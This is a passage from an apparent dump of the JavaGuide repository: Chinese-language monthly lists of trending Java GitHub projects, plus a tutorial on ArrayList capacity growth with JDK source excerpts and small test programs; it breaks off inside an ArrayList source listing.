以及其它**各种优化**之后变得在某些情况下并不是那么重了。synchronized的底层实现主要依靠 **Lock-Free** 的队列，基本思路是 **自旋后阻塞**，**竞争切换后继续竞争锁**，**稍微牺牲了公平性，但获得了高吞吐量**。在线程冲突较少的情况下，可以获得和CAS类似的性能；而线程冲突严重的情况下，性能远高于CAS。\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/github-trending/2018-12.md",
    "content": "本文数据统计于 1.1 号凌晨，由 SnailClimb 整理。\n\n### 1. JavaGuide\n\n- **Github地址**： [https://github.com/Snailclimb/JavaGuide](https://github.com/Snailclimb/JavaGuide)\n- **star**: 18.2k\n- **介绍**: 【Java学习+面试指南】 一份涵盖大部分Java程序员所需要掌握的核心知识。\n\n### 2. mall\n\n- **Github地址**： [https://github.com/macrozheng/mall](https://github.com/macrozheng/mall)\n- **star**: 3.3k\n- **介绍**: mall项目是一套电商系统，包括前台商城系统及后台管理系统，基于SpringBoot+MyBatis实现。 前台商城系统包含首页门户、商品推荐、商品搜索、商品展示、购物车、订单流程、会员中心、客户服务、帮助中心等模块。 后台管理系统包含商品管理、订单管理、会员管理、促销管理、运营管理、内容管理、统计报表、财务管理、权限管理、设置等模块。\n\n### 3. advanced-java\n\n- **Github地址**：[https://github.com/doocs/advanced-java](https://github.com/doocs/advanced-java)\n- **star**: 3.3k\n- **介绍**: 互联网 Java 工程师进阶知识完全扫盲\n\n### 4. matrix\n\n- **Github地址**：[https://github.com/Tencent/matrix](https://github.com/Tencent/matrix)\n- **star**: 2.5k\n- **介绍**: Matrix 是一款微信研发并日常使用的 APM（Application Performance Manage），当前主要运行在 Android 平台上。 Matrix 的目标是建立统一的应用性能接入框架，通过各种性能监控方案，对性能监控项的异常数据进行采集和分析，输出相应的问题分析、定位与优化建议，从而帮助开发者开发出更高质量的应用。\n\n### 5. miaosha\n\n- **Github地址**：[https://github.com/qiurunze123/miaosha](https://github.com/qiurunze123/miaosha)\n- **star**: 2.4k\n- **介绍**: 高并发大流量如何进行秒杀架构，我对这部分知识做了一个系统的整理，写了一套系统。\n\n### 6. arthas\n\n- **Github地址**：[https://github.com/alibaba/arthas](https://github.com/alibaba/arthas)\n- **star**: 8.2k\n- **介绍**: Arthas 是Alibaba开源的Java诊断工具，深受开发者喜爱。\n\n### 7 spring-boot\n\n- **Github地址**： [https://github.com/spring-projects/spring-boot](https://github.com/spring-projects/spring-boot)\n- **star:** 32.6k\n- **介绍**： 虽然Spring的组件代码是轻量级的，但它的配置却是重量级的（需要大量XML配置）,不过Spring Boot 让这一切成为了过去。 另外Spring Cloud也是基于Spring Boot构建的，我个人非常有必要学习一下。\n\n   **关于Spring Boot官方的介绍：**\n\n   > Spring Boot makes it easy to create stand-alone, production-grade Spring based Applications that you can “just run”…Most Spring Boot applications need very little Spring configuration.(Spring Boot可以轻松创建独立的生产级基于Spring的应用程序,只要通过 “just run”（可能是run ‘Application’或java -jar 或 tomcat 或 maven插件run 或 shell脚本）便可以运行项目。大部分Spring Boot项目只需要少量的配置即可)\n\n### 8. tutorials\n\n- **Github地址**：[https://github.com/eugenp/tutorials](https://github.com/eugenp/tutorials)\n- **star**: 10k\n- **介绍**: 该项目是一系列小而专注的教程 - 每个教程都涵盖Java生态系统中单一且定义明确的开发领域。 当然，它们的重点是Spring Framework  -  Spring，Spring Boot和Spring Securiyt。 除了Spring之外，还有以下技术：核心Java，Jackson，HttpClient，Guava。\n\n### 9. qmq\n\n- **Github地址**：[https://github.com/qunarcorp/qmq](https://github.com/qunarcorp/qmq)\n- **star**: 1.1k\n- **介绍**: QMQ是去哪儿网内部广泛使用的消息中间件，自2012年诞生以来在去哪儿网所有业务场景中广泛的应用，包括跟交易息息相关的订单场景； 也包括报价搜索等高吞吐量场景。\n\n\n### 10. symphony\n\n- **Github地址**：[https://github.com/b3log/symphony](https://github.com/b3log/symphony)\n- **star**: 9k\n- **介绍**:  一款用 Java 实现的现代化社区（论坛/BBS/社交网络/博客）平台。\n\n### 11. incubator-dubbo\n\n- **Github地址**：[https://github.com/apache/incubator-dubbo](https://github.com/apache/incubator-dubbo)\n- **star**: 23.6k\n- **介绍**:  阿里开源的一个基于Java的高性能开源RPC框架。\n\n### 12. apollo\n\n- **Github地址**：[https://github.com/ctripcorp/apollo](https://github.com/ctripcorp/apollo)\n- **star**: 10k\n- **介绍**:  Apollo（阿波罗）是携程框架部门研发的分布式配置中心，能够集中化管理应用不同环境、不同集群的配置，配置修改后能够实时推送到应用端，并且具备规范的权限、流程治理等特性，适用于微服务配置管理场景。\n"
  },
  {
    "path": "docs/github-trending/2019-1.md",
    "content": "### 1. JavaGuide\n\n- **Github地址**： [https://github.com/Snailclimb/JavaGuide](https://github.com/Snailclimb/JavaGuide)\n- **star**: 22.8k\n- **介绍**: 【Java学习+面试指南】 一份涵盖大部分Java程序员所需要掌握的核心知识。\n\n### 2. advanced-java\n\n- **Github地址**：[https://github.com/doocs/advanced-java](https://github.com/doocs/advanced-java)\n- **star**: 7.9k\n- **介绍**: 互联网 Java 工程师进阶知识完全扫盲\n\n### 3.  fescar\n\n- **Github地址**：[https://github.com/alibaba/fescar](https://github.com/alibaba/fescar)\n- **star**: 4.6k\n- **介绍**: 具有 **高性能** 和 **易用性** 的 **微服务架构** 的 **分布式事务** 的解决方案。（特点：高性能且易于使用，旨在实现简单并快速的事务提交与回滚。\n\n### 4. mall\n\n- **Github地址**： [https://github.com/macrozheng/mall](https://github.com/macrozheng/mall)\n- **star**: 5.6 k\n- **介绍**: mall项目是一套电商系统，包括前台商城系统及后台管理系统，基于SpringBoot+MyBatis实现。 前台商城系统包含首页门户、商品推荐、商品搜索、商品展示、购物车、订单流程、会员中心、客户服务、帮助中心等模块。 后台管理系统包含商品管理、订单管理、会员管理、促销管理、运营管理、内容管理、统计报表、财务管理、权限管理、设置等模块。\n\n### 5. miaosha\n\n- **Github地址**：[https://github.com/qiurunze123/miaosha](https://github.com/qiurunze123/miaosha)\n- **star**: 4.4k\n- **介绍**: 高并发大流量如何进行秒杀架构，我对这部分知识做了一个系统的整理，写了一套系统。\n\n### 6. flink\n\n- **Github地址**：[https://github.com/apache/flink](https://github.com/apache/flink)\n- **star**: 7.1 k\n- **介绍**: Apache Flink是一个开源流处理框架，具有强大的流和批处理功能。\n\n### 7. cim\n\n- **Github地址**：[https://github.com/crossoverJie/cim](https://github.com/crossoverJie/cim)\n- **star**: 1.8 k\n- **介绍**: cim(cross IM) 适用于开发者的即时通讯系统。\n\n### 8. symphony\n\n- **Github地址**：[https://github.com/b3log/symphony](https://github.com/b3log/symphony)\n- **star**: 10k\n- **介绍**:  一款用 Java 实现的现代化社区（论坛/BBS/社交网络/博客）平台。\n\n### 9.  spring-boot\n\n- **Github地址**： [https://github.com/spring-projects/spring-boot](https://github.com/spring-projects/spring-boot)\n- **star:** 32.6k\n- **介绍**： 虽然Spring的组件代码是轻量级的，但它的配置却是重量级的（需要大量XML配置）,不过Spring Boot 让这一切成为了过去。 另外Spring Cloud也是基于Spring Boot构建的，我个人非常有必要学习一下。\n\n   **关于Spring Boot官方的介绍：**\n\n   > Spring Boot makes it easy to create stand-alone, production-grade Spring based Applications that you can “just run”…Most Spring Boot applications need very little Spring configuration.(Spring Boot可以轻松创建独立的生产级基于Spring的应用程序,只要通过 “just run”（可能是run ‘Application’或java -jar 或 tomcat 或 maven插件run 或 shell脚本）便可以运行项目。大部分Spring Boot项目只需要少量的配置即可)\n\n### 10. arthas\n\n- **Github地址**：[https://github.com/alibaba/arthas](https://github.com/alibaba/arthas)\n- **star**: 9.5k\n- **介绍**: Arthas 是Alibaba开源的Java诊断工具。\n\n**概览：**\n\n当你遇到以下类似问题而束手无策时，`Arthas`可以帮助你解决：\n\n0. 这个类从哪个 jar 包加载的？为什么会报各种类相关的 Exception？\n1. 我改的代码为什么没有执行到？难道是我没 commit？分支搞错了？\n2. 遇到问题无法在线上 debug，难道只能通过加日志再重新发布吗？\n3. 线上遇到某个用户的数据处理有问题，但线上同样无法 debug，线下无法重现！\n4. 是否有一个全局视角来查看系统的运行状况？\n5. 有什么办法可以监控到JVM的实时运行状态？\n\n`Arthas`支持JDK 6+，支持Linux/Mac/Winodws，采用命令行交互模式，同时提供丰富的 `Tab` 自动补全功能，进一步方便进行问题的定位和诊断。\n"
  },
  {
    "path": "docs/github-trending/2019-2.md",
    "content": "### 1. JavaGuide\n\n- **Github地址**： [https://github.com/Snailclimb/JavaGuide](https://github.com/Snailclimb/JavaGuide)\n- **Star**: 27.2k (4,437 stars this month)\n- **介绍**: 【Java学习+面试指南】 一份涵盖大部分Java程序员所需要掌握的核心知识。\n\n### 2.DoraemonKit\n\n- **Github地址**： <https://github.com/didi/DoraemonKit>\n- **Star**: 5.2k (3,786 stars this month)\n- **介绍**: 简称 \"DoKit\" 。一款功能齐全的客户端（ iOS 、Android ）研发助手，你值得拥有。\n\n### 3.advanced-java\n\n- **Github地址**：[https://github.com/doocs/advanced-java](https://github.com/doocs/advanced-java)\n- **Star**:11.2k (3,042 stars this month)\n- **介绍**: 互联网 Java 工程师进阶知识完全扫盲。\n\n### 4. spring-boot-examples\n\n- **Github地址**：<https://github.com/ityouknow/spring-boot-examples>\n- **star**: 9.6 k (1,764 stars this month)\n- **介绍**: Spring Boot 教程、技术栈示例代码，快速简单上手教程。\n\n### 5. mall\n\n- **Github地址**： [https://github.com/macrozheng/mall](https://github.com/macrozheng/mall)\n- **star**: 7.4 k (1,736 stars this month)\n- **介绍**: mall项目是一套电商系统，包括前台商城系统及后台管理系统，基于SpringBoot+MyBatis实现。 前台商城系统包含首页门户、商品推荐、商品搜索、商品展示、购物车、订单流程、会员中心、客户服务、帮助中心等模块。 后台管理系统包含商品管理、订单管理、会员管理、促销管理、运营管理、内容管理、统计报表、财务管理、权限管理、设置等模块。\n\n### 6. fescar\n\n- **Github地址**：[https://github.com/alibaba/fescar](https://github.com/alibaba/fescar)\n- **star**: 6.0 k (1,308 stars this month)\n- **介绍**: 具有 **高性能** 和 **易用性** 的 **微服务架构** 的 **分布式事务** 的解决方案。（特点：高性能且易于使用，旨在实现简单并快速的事务提交与回滚。）\n\n### 7. h4cker\n\n- **Github地址**：<https://github.com/The-Art-of-Hacking/h4cker>\n- **star**: 2.1 k (1,303 stars this month)\n- **介绍**: 该仓库主要由Omar Santos维护，包括与道德黑客/渗透测试，数字取证和事件响应（DFIR），漏洞研究，漏洞利用开发，逆向工程等相关的资源。\n\n### 8.  spring-boot\n\n- **Github地址**： [https://github.com/spring-projects/spring-boot](https://github.com/spring-projects/spring-boot)\n- **star:** 34.8k (1,073 stars this month)\n- **介绍**： 虽然Spring的组件代码是轻量级的，但它的配置却是重量级的（需要大量XML配置）,不过Spring Boot 让这一切成为了过去。 另外Spring Cloud也是基于Spring Boot构建的，我个人非常有必要学习一下。\n\n     **关于Spring Boot官方的介绍：**\n\n  > Spring Boot makes it easy to create stand-alone, production-grade Spring based Applications that you can “just run”…Most Spring Boot applications need very little Spring configuration.(Spring Boot可以轻松创建独立的生产级基于Spring的应用程序,只要通过 “just run”（可能是run ‘Application’或java -jar 或 tomcat 或 maven插件run 或 shell脚本）便可以运行项目。大部分Spring Boot项目只需要少量的配置即可)\n\n### 9. arthas\n\n- **Github地址**：[https://github.com/alibaba/arthas](https://github.com/alibaba/arthas)\n- **star**: 10.5 k (970 stars this month)\n- **介绍**: Arthas 是Alibaba开源的Java诊断工具。\n\n### 10. tutorials\n\n- **Github地址**：[https://github.com/eugenp/tutorials](https://github.com/eugenp/tutorials)\n- **star**: 12.1 k (789 stars this month)\n- **介绍**: 该项目是一系列小而专注的教程 - 每个教程都涵盖Java生态系统中单一且定义明确的开发领域。 当然，它们的重点是Spring Framework  -  Spring，Spring Boot和Spring Securiyt。 除了Spring之外，还有以下技术：核心Java，Jackson，HttpClient，Guava。\n\n"
  },
  {
    "path": "docs/github-trending/2019-3.md",
    "content": "### 1. JavaGuide\n\n- **Github 地址**： [https://github.com/Snailclimb/JavaGuide](https://github.com/Snailclimb/JavaGuide)\n- **Star**:  32.9k (6,196 stars this month)\n- **介绍**: 【Java 学习+面试指南】 一份涵盖大部分 Java 程序员所需要掌握的核心知识。\n\n### 2.advanced-java\n\n- **Github 地址**：[https://github.com/doocs/advanced-java](https://github.com/doocs/advanced-java)\n- **Star**: 15.1k (4,012 stars this month)\n- **介绍**: 互联网 Java 工程师进阶知识完全扫盲。\n\n### 3.spring-boot-examples\n\n- **Github 地址**：[https://github.com/ityouknow/spring-boot-examples](https://github.com/ityouknow/spring-boot-examples)\n- **Star**: 12.8k (3,462 stars this month)\n- **介绍**:  Spring Boot 教程、技术栈示例代码，快速简单上手教程。\n\n### 4. mall\n\n- **Github 地址**： [https://github.com/macrozheng/mall](https://github.com/macrozheng/mall)\n- **star**: 9.7 k (2,418 stars this month)\n- **介绍**: mall 项目是一套电商系统，包括前台商城系统及后台管理系统，基于 SpringBoot+MyBatis 实现。 前台商城系统包含首页门户、商品推荐、商品搜索、商品展示、购物车、订单流程、会员中心、客户服务、帮助中心等模块。 后台管理系统包含商品管理、订单管理、会员管理、促销管理、运营管理、内容管理、统计报表、财务管理、权限管理、设置等模块。\n\n### 5. seata\n\n- **Github 地址** : [https://github.com/seata/seata](https://github.com/seata/seata)\n- **star**: 7.2 k (1359 stars this month)\n- **介绍**:  Seata 是一种易于使用，高性能，基于 Java 的开源分布式事务解决方案。\n\n### 6. quarkus\n\n- **Github 地址**：[https://github.com/quarkusio/quarkus](https://github.com/quarkusio/quarkus)\n- **star**: 12 k (1,224 stars this month)\n- **介绍**: Quarkus 是为 GraalVM 和 HotSpot 量身定制的 Kubernetes Native Java 框架，由最佳的 Java 库和标准精心打造而成。Quarkus 的目标是使 Java 成为 Kubernetes 和无服务器环境中的领先平台，同时为开发人员提供统一的反应式和命令式编程模型，以优化地满足更广泛的分布式应用程序架构。\n\n### 7. arthas\n\n- **Github 地址**：[https://github.com/alibaba/arthas](https://github.com/alibaba/arthas)\n- **star**: 11.6 k (1,199 stars this month)\n- **介绍**: Arthas 是 Alibaba 开源的 Java 诊断工具。\n\n### 8.DoraemonKit\n\n- **Github 地址**： <https://github.com/didi/DoraemonKit>\n- **Star**: 6.2k (1,177 stars this month)\n- **介绍**: 简称 \"DoKit\" 。一款功能齐全的客户端（ iOS 、Android ）研发助手，你值得拥有。\n\n### 9.elasticsearch\n\n- **Github 地址**  [https://github.com/elastic/elasticsearch](https://github.com/elastic/elasticsearch)\n- **Star**: 39.7k (1,069 stars this month)\n- **介绍**: 开源，分布式，RESTful 搜索引擎。\n\n### 10. tutorials\n\n- **Github 地址**：[https://github.com/eugenp/tutorials](https://github.com/eugenp/tutorials)\n- **star**: 13 k (998 stars this month)\n- **介绍**:  该项目是一系列小而专注的教程 - 每个教程都涵盖 Java 生态系统中单一且定义明确的开发领域。 当然，它们的重点是 Spring Framework  -  Spring，Spring Boot 和 Spring Securiyt。 除了 Spring 之外，还有以下技术：核心 Java，Jackson，HttpClient，Guava。\n\n"
  },
  {
    "path": "docs/github-trending/JavaGithubTrending.md",
    "content": "- [2018 年 12 月](https://github.com/Snailclimb/JavaGuide/blob/master/docs/github-trending/2018-12.md)\n- [2019 年 1 月](https://github.com/Snailclimb/JavaGuide/blob/master/docs/github-trending/2019-1.md)\n- [2019 年 2 月](https://github.com/Snailclimb/JavaGuide/blob/master/docs/github-trending/2019-2.md)\n\n"
  },
  {
    "path": "docs/java/ArrayList-Grow.md",
    "content": "\n## 一 先从 ArrayList 的构造函数说起\n\n**ArrayList有三种方式来初始化，构造方法源码如下：**\n\n```java\n   /**\n     * 默认初始容量大小\n     */\n    private static final int DEFAULT_CAPACITY = 10;\n    \n\n    private static final Object[] DEFAULTCAPACITY_EMPTY_ELEMENTDATA = {};\n\n    /**\n     *默认构造函数，使用初始容量10构造一个空列表(无参数构造)\n     */\n    public ArrayList() {\n        this.elementData = DEFAULTCAPACITY_EMPTY_ELEMENTDATA;\n    }\n    \n    /**\n     * 带初始容量参数的构造函数。（用户自己指定容量）\n     */\n    public ArrayList(int initialCapacity) {\n        if (initialCapacity > 0) {//初始容量大于0\n            //创建initialCapacity大小的数组\n            this.elementData = new Object[initialCapacity];\n        } else if (initialCapacity == 0) {//初始容量等于0\n            //创建空数组\n            this.elementData = EMPTY_ELEMENTDATA;\n        } else {//初始容量小于0，抛出异常\n            throw new IllegalArgumentException(\"Illegal Capacity: \"+\n                                               initialCapacity);\n        }\n    }\n\n\n   /**\n    *构造包含指定collection元素的列表，这些元素利用该集合的迭代器按顺序返回\n    *如果指定的集合为null，throws NullPointerException。 \n    */\n     public ArrayList(Collection<? extends E> c) {\n        elementData = c.toArray();\n        if ((size = elementData.length) != 0) {\n            // c.toArray might (incorrectly) not return Object[] (see 6260652)\n            if (elementData.getClass() != Object[].class)\n                elementData = Arrays.copyOf(elementData, size, Object[].class);\n        } else {\n            // replace with empty array.\n            this.elementData = EMPTY_ELEMENTDATA;\n        }\n    }\n\n```\n\n细心的同学一定会发现 ：**以无参数构造方法创建 ArrayList 时，实际上初始化赋值的是一个空数组。当真正对数组进行添加元素操作时，才真正分配容量。即向数组中添加第一个元素时，数组容量扩为10。** 下面在我们分析 ArrayList 扩容时会讲到这一点内容！\n\n## 二 一步一步分析 ArrayList 扩容机制\n\n这里以无参构造函数创建的 ArrayList 为例分析\n\n### 1. 先来看 `add` 方法\n\n```java\n    /**\n     * 将指定的元素追加到此列表的末尾。 \n     */\n    public boolean add(E e) {\n   //添加元素之前，先调用ensureCapacityInternal方法\n        ensureCapacityInternal(size + 1);  // Increments modCount!!\n        //这里看到ArrayList添加元素的实质就相当于为数组赋值\n        elementData[size++] = e;\n        return true;\n    }\n```\n### 2. 再来看看 `ensureCapacityInternal()` 方法\n\n可以看到 `add` 方法 首先调用了`ensureCapacityInternal(size + 1)`\n\n```java\n   //得到最小扩容量\n    private void ensureCapacityInternal(int minCapacity) {\n        if (elementData == DEFAULTCAPACITY_EMPTY_ELEMENTDATA) {\n              // 获取默认的容量和传入参数的较大值\n            minCapacity = Math.max(DEFAULT_CAPACITY, minCapacity);\n        }\n\n        ensureExplicitCapacity(minCapacity);\n    }\n```\n**当 要 add 进第1个元素时，minCapacity为1，在Math.max()方法比较后，minCapacity 为10。**\n\n### 3. `ensureExplicitCapacity()` 方法 \n\n如果调用 `ensureCapacityInternal()` 方法就一定会进过（执行）这个方法，下面我们来研究一下这个方法的源码！\n\n```java\n  //判断是否需要扩容\n    private void ensureExplicitCapacity(int minCapacity) {\n        modCount++;\n\n        // overflow-conscious code\n        if (minCapacity - elementData.length > 0)\n            //调用grow方法进行扩容，调用此方法代表已经开始扩容了\n            grow(minCapacity);\n    }\n\n```\n\n我们来仔细分析一下：\n\n- 当我们要 add 进第1个元素到 ArrayList 时，elementData.length 为0 （因为还是一个空的 list），因为执行了 `ensureCapacityInternal()` 方法 ，所以 minCapacity 此时为10。此时，`minCapacity - elementData.length > 0 `成立，所以会进入 `grow(minCapacity)` 方法。\n- 当add第2个元素时，minCapacity 为2，此时e lementData.length(容量)在添加第一个元素后扩容成 10 了。此时，`minCapacity - elementData.length > 0 ` 不成立，所以不会进入 （执行）`grow(minCapacity)` 方法。\n- 添加第3、4···到第10个元素时，依然不会执行grow方法，数组容量都为10。\n\n直到添加第11个元素，minCapacity(为11)比elementData.length（为10）要大。进入grow方法进行扩容。\n\n### 4. `grow()` 方法 \n\n```java\n    /**\n     * 要分配的最大数组大小\n     */\n    private static final int MAX_ARRAY_SIZE = Integer.MAX_VALUE - 8;\n\n    /**\n     * ArrayList扩容的核心方法。\n     */\n    private void grow(int minCapacity) {\n        // oldCapacity为旧容量，newCapacity为新容量\n        int oldCapacity = elementData.length;\n        //将oldCapacity 右移一位，其效果相当于oldCapacity /2，\n        //我们知道位运算的速度远远快于整除运算，整句运算式的结果就是将新容量更新为旧容量的1.5倍，\n        int newCapacity = oldCapacity + (oldCapacity >> 1);\n        //然后检查新容量是否大于最小需要容量，若还是小于最小需要容量，那么就把最小需要容量当作数组的新容量，\n        if (newCapacity - minCapacity < 0)\n            newCapacity = minCapacity;\n       // 如果新容量大于 MAX_ARRAY_SIZE,进入(执行) `hugeCapacity()` 方法来比较 minCapacity 和 MAX_ARRAY_SIZE，\n       //如果minCapacity大于最大容量，则新容量则为`Integer.MAX_VALUE`，否则，新容量大小则为 MAX_ARRAY_SIZE 即为 `Integer.MAX_VALUE - 8`。\n        if (newCapacity - MAX_ARRAY_SIZE > 0)\n            newCapacity = hugeCapacity(minCapacity);\n        // minCapacity is usually close to size, so this is a win:\n        elementData = Arrays.copyOf(elementData, newCapacity);\n    }\n```\n\n**int newCapacity = oldCapacity + (oldCapacity >> 1),所以 ArrayList 每次扩容之后容量都会变为原来的 1.5 倍！（JDK1.6版本以后）**  JDk1.6版本时，扩容之后容量为 1.5 倍+1！详情请参考源码\n\n>   \">>\"（移位运算符）：>>1 右移一位相当于除2，右移n位相当于除以 2 的 n 次方。这里 oldCapacity 明显右移了1位所以相当于oldCapacity /2。对于大数据的2进制运算,位移运算符比那些普通运算符的运算要快很多,因为程序仅仅移动一下而已,不去计算,这样提高了效率,节省了资源 　\n\n**我们再来通过例子探究一下`grow()` 方法 ：**\n\n- 当add第1个元素时，oldCapacity 为0，经比较后第一个if判断成立，newCapacity = minCapacity(为10)。但是第二个if判断不会成立，即newCapacity 不比 MAX_ARRAY_SIZE大，则不会进入 `hugeCapacity` 方法。数组容量为10，add方法中 return true,size增为1。\n- 当add第11个元素进入grow方法时，newCapacity为15，比minCapacity（为11）大，第一个if判断不成立。新容量没有大于数组最大size，不会进入hugeCapacity方法。数组容量扩为15，add方法中return true,size增为11。\n- 以此类推······\n\n**这里补充一点比较重要，但是容易被忽视掉的知识点：**\n\n- java 中的 `length `属性是针对数组说的,比如说你声明了一个数组,想知道这个数组的长度则用到了 length 这个属性.\n- java 中的 `length()` 方法是针对字符串说的,如果想看这个字符串的长度则用到 `length()` 这个方法.\n- java 中的 `size()` 方法是针对泛型集合说的,如果想看这个泛型有多少个元素,就调用此方法来查看!\n\n### 5. `hugeCapacity()` 方法。\n\n从上面 `grow()` 方法源码我们知道： 如果新容量大于 MAX_ARRAY_SIZE,进入(执行) `hugeCapacity()` 方法来比较 minCapacity 和 MAX_ARRAY_SIZE，如果minCapacity大于最大容量，则新容量则为`Integer.MAX_VALUE`，否则，新容量大小则为 MAX_ARRAY_SIZE 即为 `Integer.MAX_VALUE - 8`。 \n\n\n```java\n    private static int hugeCapacity(int minCapacity) {\n        if (minCapacity < 0) // overflow\n            throw new OutOfMemoryError();\n        //对minCapacity和MAX_ARRAY_SIZE进行比较\n        //若minCapacity大，将Integer.MAX_VALUE作为新数组的大小\n        //若MAX_ARRAY_SIZE大，将MAX_ARRAY_SIZE作为新数组的大小\n        //MAX_ARRAY_SIZE = Integer.MAX_VALUE - 8;\n        return (minCapacity > MAX_ARRAY_SIZE) ?\n            Integer.MAX_VALUE :\n            MAX_ARRAY_SIZE;\n    }\n```\n\n\n\n## 三 `System.arraycopy()` 和 `Arrays.copyOf()`方法\n\n\n阅读源码的话，我们就会发现 ArrayList 中大量调用了这两个方法。比如：我们上面讲的扩容操作以及`add(int index, E element)`、`toArray()` 等方法中都用到了该方法！\n\n\n### 3.1 `System.arraycopy()` 方法\n\n```java\n    /**\n     * 在此列表中的指定位置插入指定的元素。 \n     *先调用 rangeCheckForAdd 对index进行界限检查；然后调用 ensureCapacityInternal 方法保证capacity足够大；\n     *再将从index开始之后的所有成员后移一个位置；将element插入index位置；最后size加1。\n     */\n    public void add(int index, E element) {\n        rangeCheckForAdd(index);\n\n        ensureCapacityInternal(size + 1);  // Increments modCount!!\n        //arraycopy()方法实现数组自己复制自己\n        //elementData:源数组;index:源数组中的起始位置;elementData：目标数组；index + 1：目标数组中的起始位置； size - index：要复制的数组元素的数量；\n        System.arraycopy(elementData, index, elementData, index + 1, size - index);\n        elementData[index] = element;\n        size++;\n    }\n```\n\n我们写一个简单的方法测试以下：\n\n```java\npublic class ArraycopyTest {\n\n\tpublic static void main(String[] args) {\n\t\t// TODO Auto-generated method stub\n\t\tint[] a = new int[10];\n\t\ta[0] = 0;\n\t\ta[1] = 1;\n\t\ta[2] = 2;\n\t\ta[3] = 3;\n\t\tSystem.arraycopy(a, 2, a, 3, 3);\n\t\ta[2]=99;\n\t\tfor (int i = 0; i < a.length; i++) {\n\t\t\tSystem.out.println(a[i]);\n\t\t}\n\t}\n\n}\n```\n\n结果：\n\n```\n0 1 99 2 3 0 0 0 0 0 \n```\n\n### 3.2 `Arrays.copyOf()`方法\n\n```java\n   /**\n     以正确的顺序返回一个包含此列表中所有元素的数组（从第一个到最后一个元素）; 返回的数组的运行时类型是指定数组的运行时类型。 \n     */\n    public Object[] toArray() {\n    //elementData：要复制的数组；size：要复制的长度\n        return Arrays.copyOf(elementData, size);\n    }\n```\n\n个人觉得使用 `Arrays.copyOf()`方法主要是为了给原有数组扩容，测试代码如下：\n\n```java\npublic class ArrayscopyOfTest {\n\n\tpublic static void main(String[] args) {\n\t\tint[] a = new int[3];\n\t\ta[0] = 0;\n\t\ta[1] = 1;\n\t\ta[2] = 2;\n\t\tint[] b = Arrays.copyOf(a, 10);\n\t\tSystem.out.println(\"b.length\"+b.length);\n\t}\n}\n```\n\n结果：\n\n```\n10\n```\n\n\n### 3.3 两者联系和区别\n\n**联系：** \n\n看两者源代码可以发现 copyOf() 内部实际调用了 `System.arraycopy()` 方法 \n\n**区别：**\n\n`arraycopy()` 需要目标数组，将原数组拷贝到你自己定义的数组里或者原数组，而且可以选择拷贝的起点和长度以及放入新数组中的位置 `copyOf()` 是系统自动在内部新建一个数组，并返回该数组。\n\n\n\n## 四 `ensureCapacity`方法\n\nArrayList 源码中有一个 `ensureCapacity` 方法不知道大家注意到没有，这个方法 ArrayList 内部没有被调用过，所以很显然是提供给用户调用的，那么这个方法有什么作用呢？\n\n```java\n    /**\n    如有必要，增加此 ArrayList 实例的容量，以确保它至少可以容纳由minimum capacity参数指定的元素数。\n     *\n     * @param   minCapacity   所需的最小容量\n     */\n    public void ensureCapacity(int minCapacity) {\n        int minExpand = (elementData != DEFAULTCAPACITY_EMPTY_ELEMENTDATA)\n            // any size if not default element table\n            ? 0\n            // larger than default for default empty table. It's already\n            // supposed to be at default size.\n            : DEFAULT_CAPACITY;\n\n        if (minCapacity > minExpand) {\n            ensureExplicitCapacity(minCapacity);\n        }\n    }\n\n```\n\n**最好在 add 大量元素之前用 `ensureCapacity` 方法，以减少增量重新分配的次数**\n\n我们通过下面的代码实际测试以下这个方法的效果：\n\n```java\npublic class EnsureCapacityTest {\n\tpublic static void main(String[] args) {\n\t\tArrayList<Object> list = new ArrayList<Object>();\n\t\tfinal int N = 10000000;\n\t\tlong startTime = System.currentTimeMillis();\n\t\tfor (int i = 0; i < N; i++) {\n\t\t\tlist.add(i);\n\t\t}\n\t\tlong endTime = System.currentTimeMillis();\n\t\tSystem.out.println(\"使用ensureCapacity方法前：\"+(endTime - startTime));\n\n\t\tlist = new ArrayList<Object>();\n\t\tlong startTime1 = System.currentTimeMillis();\n\t\tlist.ensureCapacity(N);\n\t\tfor (int i = 0; i < N; i++) {\n\t\t\tlist.add(i);\n\t\t}\n\t\tlong endTime1 = System.currentTimeMillis();\n\t\tSystem.out.println(\"使用ensureCapacity方法后：\"+(endTime1 - startTime1));\n\t}\n}\n```\n\n运行结果：\n\n```\n使用ensureCapacity方法前：4637\n使用ensureCapacity方法后：241\n\n```\n\n通过运行结果，我们可以很明显的看出向 ArrayList 添加大量元素之前最好先使用`ensureCapacity` 方法，以减少增量重新分配的次数\n"
  },
  {
    "path": "docs/java/ArrayList.md",
    "content": "<!-- MarkdownTOC -->\n\n- [ArrayList简介](#arraylist简介)\n- [ArrayList核心源码](#arraylist核心源码)\n- [ArrayList源码分析](#arraylist源码分析)\n    - [System.arraycopy\\(\\)和Arrays.copyOf\\(\\)方法](#systemarraycopy和arrayscopyof方法)\n        - [两者联系与区别](#两者联系与区别)\n    - [ArrayList核心扩容技术](#arraylist核心扩容技术)\n    - [内部类](#内部类)\n- [ArrayList经典Demo](#arraylist经典demo)\n\n<!-- /MarkdownTOC -->\n\n\n### ArrayList简介\n　　ArrayList 的底层是数组队列，相当于动态数组。与 Java 中的数组相比，它的容量能动态增长。在添加大量元素前，应用程序可以使用`ensureCapacity`操作来增加 ArrayList 实例的容量。这可以减少递增式再分配的数量。\n    \n   它继承于 **AbstractList**，实现了 **List**, **RandomAccess**, **Cloneable**, **java.io.Serializable** 这些接口。\n    \n   在我们学数据结构的时候就知道了线性表的顺序存储，插入删除元素的时间复杂度为**O（n）**,求表长以及增加元素，取第 i   元素的时间复杂度为**O（1）**\n\n　  ArrayList 继承了AbstractList，实现了List。它是一个数组队列，提供了相关的添加、删除、修改、遍历等功能。\n\n　　ArrayList 实现了**RandomAccess 接口**， RandomAccess 是一个标志接口，表明实现这个这个接口的 List 集合是支持**快速随机访问**的。在 ArrayList 中，我们即可以通过元素的序号快速获取元素对象，这就是快速随机访问。\n\n　　ArrayList 实现了**Cloneable 接口**，即覆盖了函数 clone()，**能被克隆**。\n\n　　ArrayList 实现**java.io.Serializable 接口**，这意味着ArrayList**支持序列化**，**能通过序列化去传输**。\n\n　　和 Vector 不同，**ArrayList 中的操作不是线程安全的**！所以，建议在单线程中才使用 ArrayList，而在多线程中可以选择 Vector 或者  CopyOnWriteArrayList。\n### ArrayList核心源码\n\n```java\npackage java.util;\n\nimport java.util.function.Consumer;\nimport java.util.function.Predicate;\nimport java.util.function.UnaryOperator;\n\n\npublic class ArrayList<E> extends AbstractList<E>\n        implements List<E>, RandomAccess, Cloneable, 